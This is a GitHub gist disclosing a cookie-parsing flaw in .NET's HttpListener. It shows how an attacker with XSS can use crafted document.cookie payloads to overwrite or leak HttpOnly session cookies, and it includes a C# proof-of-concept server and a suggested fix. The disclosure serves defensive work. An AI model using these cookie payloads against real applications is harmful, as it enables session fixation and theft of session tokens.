Skip to content

Instantly share code, notes, and snippets.

@keltecc
Last active October 22, 2025 23:49
Show Gist options
  • Select an option

  • Save keltecc/41507732c7b3bc34eb77e07ab8de4fdd to your computer and use it in GitHub Desktop.

Select an option

Save keltecc/41507732c7b3bc34eb77e07ab8de4fdd to your computer and use it in GitHub Desktop.
.NET Core (HttpListener) cookie parser vulnerability

Details

CWE: CWE-384: Session Fixation, CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Affected runtime: .NET Core (latest)

Affected source code: CookieParser.cs

Overview

The System.Net.HttpListener cookie parser is vulnerable to two distinct but related attacks that involve manipulating cookies in insecure ways. Although cookies marked as HttpOnly are designed to be inaccessible to JavaScript, an attacker with XSS capabilities can set or overwrite protected cookies, potentially leading to data exposure in some cases.

  1. Cookie Spoofing
    An attacker can set or overwrite protected cookies, including session identifiers or authentication tokens. This can lead to session fixation, account impersonation, or persistent access, as outlined in CWE-384 and other session management vulnerabilities.

  2. Cookie Exposure
    When the server includes any non-protected cookie in its responses (e.g., by writing it into an HTML response), an attacker can craft a special cookie that causes the HttpOnly protected cookie value to be leaked. This exposure could allow an attacker to gain unauthorized access to sensitive session information, as described in CWE-200.

Although HttpListener is leveraged by various open-source HTTP server frameworks, such as Kestrel, it remains a widely used component in .NET applications, particularly for lightweight HTTP server implementations. It is still cross-platform, supported on Windows, Linux, and macOS as part of the .NET runtime. It has not been marked as deprecated, and this makes it a viable option for projects where simplicity or minimal configuration is required.

Vulnerability

The cookie parsing logic in .NET Core does not strictly follow RFC 6265 (HTTP State Management Mechanism), which specifies restrictions on characters allowed in cookie names and values.

According to RFC, cookie names must not contain the comma character (,), as it is a reserved delimiter used to separate multiple cookies in the Cookie header. However, the .NET Core cookie parser incorrectly ignores commas in cookie names and allows an attacker to craft malicious cookies that are misinterpreted by the server.

RFC also explicitly prohibits the inclusion of the double quote (") character in cookie values. Despite this, the .NET Core parser incorrectly treats the double quote as if the cookie value is encapsulated in quotes, ignoring subsequent cookie delimiters. This leads to potential vulnerabilities, where the cookie value may be misinterpreted, and could be used to bypass security controls.

Exploitation

Cookie Spoofing

Consider the backend setting a cookie as follows:

Set-Cookie: session_id=secure; Path=/; HttpOnly

An attacker, utilizing XSS, can inject a malicious cookie:

document.cookie = ',session_id=spoofed; Path=/';

The resulting Cookie header will be:

Cookie: session_id=secure; ,session_id=spoofed

As a consequence, the backend will parse the cookies as:

context.Request.Cookies["session_id"].Value == "spoofed"

This behavior bypasses the intended protection of the HttpOnly flag, allowing the attacker to overwrite sensitive cookies, including session identifiers, effectively compromising the session.

Cookie Exposure

Assume the backend returns a non-protected cookie, such as captcha_id, in an HTML response, while also having a protected HttpOnly cookie, session_id.

The attacker, using XSS, injects a crafted cookie:

document.cookie = 'captcha_id="leaked; Path=/';

Then, the attacker forces the backend to set the session_id cookie with HttpOnly flag. The Cookie header becomes:

Cookie: captcha_id="leaked; session_id=secure

When the captcha_id is rendered in the HTML response, it will contain the value of session_id:

leaked; session_id=secure

This results in the unintended exposure of the session_id cookie, potentially leaking sensitive session data to the attacker.

Proof of concept

I've provided two files:

  • Program.cs
  • cookie.csproj

Steps to reproduce:

Cookie Spoofing

  • use the form to set the session_id cookie (via backend with HttpOnly flag)
  • observe the correct value in response from the server
  • click "set spoof cookie" to inject a spoofing cookie
  • observe the session_id is overwritten with spoofed even though the HttpOnly being set
  • click "clear spoof cookie" to delete the spoofing cookie
  • click "delete cookie" to clear the session_id cookie

Cookie Exposure

  • now click "set captcha cookie" to inject a crafted captcha_id cookie
  • use the form to set the session_id cookie (via backend with HttpOnly flag)
  • observe the captcha_id now contains the value of session_id cookie

Suggested fix

Sanitize and strictly validate cookie names and values against RFC 6265 in the parsing logic. Cookie names and values containing illegal characters should be rejected.

using System.Net;
using System.Text;
class Program
{
static void Main()
{
using var listener = new HttpListener();
listener.Prefixes.Add("http://localhost:5000/");
listener.Start();
Console.WriteLine("Listening on http://localhost:5000/");
while (true)
{
var context = listener.GetContext();
var request = context.Request;
var response = context.Response;
if (request.Url.AbsolutePath == "/")
HandleIndex(request, response);
else if (request.Url.AbsolutePath == "/set-cookie" && request.HttpMethod == "POST")
HandleSetCookie(request, response);
else if (request.Url.AbsolutePath == "/delete-cookie" && request.HttpMethod == "POST")
HandleDeleteCookie(request, response);
else
response.StatusCode = 404;
response.OutputStream.Close();
}
}
private static void HandleIndex(HttpListenerRequest request, HttpListenerResponse response)
{
var sessionId = request.Cookies["session_id"]?.Value;
var captchaId = request.Cookies["captcha_id"]?.Value;
var html = @$"
<html>
<body>
<p>session_id: {sessionId ?? "(not set)"}</p>
<p>captcha_id: {captchaId ?? "(not set)"}</p>
<form method='POST' action='/set-cookie'>
<input type='text' name='value' placeholder='cookie value'>
<button type='submit'>set cookie</button>
</form>
<form method='POST' action='/delete-cookie'>
<button type='submit'>delete cookie</button>
</form>
<button onclick='setSpoofCookie()'>set spoof cookie</button>
<button onclick='clearSpoofCookie()'>clear spoof cookie</button>
<br>
<button onclick='setCaptchaCookie()'>set captcha cookie</button>
<button onclick='clearCaptchaCookie()'>clear captcha cookie</button>
<script>
const setSpoofCookie = function() {{
document.cookie = ',session_id=spoofed; path=/';
location.reload();
}};
const clearSpoofCookie = function() {{
document.cookie = ',session_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT';
location.reload();
}};
const setCaptchaCookie = function() {{
document.cookie = 'captcha_id=""leaked; path=/';
location.reload();
}};
const clearCaptchaCookie = function() {{
document.cookie = 'captcha_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT';
location.reload();
}};
</script>
</body>
</html>";
var buffer = Encoding.UTF8.GetBytes(html);
response.ContentType = "text/html";
response.ContentLength64 = buffer.Length;
response.OutputStream.Write(buffer, 0, buffer.Length);
}
private static void HandleSetCookie(HttpListenerRequest request, HttpListenerResponse response)
{
using var reader = new StreamReader(request.InputStream);
var sessionId = reader.ReadToEnd().Split('=')[1];
response.Headers.Add(
"Set-Cookie", $"session_id={sessionId}; Path=/; HttpOnly; SameSite=Lax"
);
response.Redirect("/");
}
private static void HandleDeleteCookie(HttpListenerRequest request, HttpListenerResponse response)
{
response.Headers.Add(
"Set-Cookie", "session_id=; Path=/; HttpOnly; SameSite=Lax; Expires=Thu, 01 Jan 1970 00:00:00 GMT"
);
response.Redirect("/");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment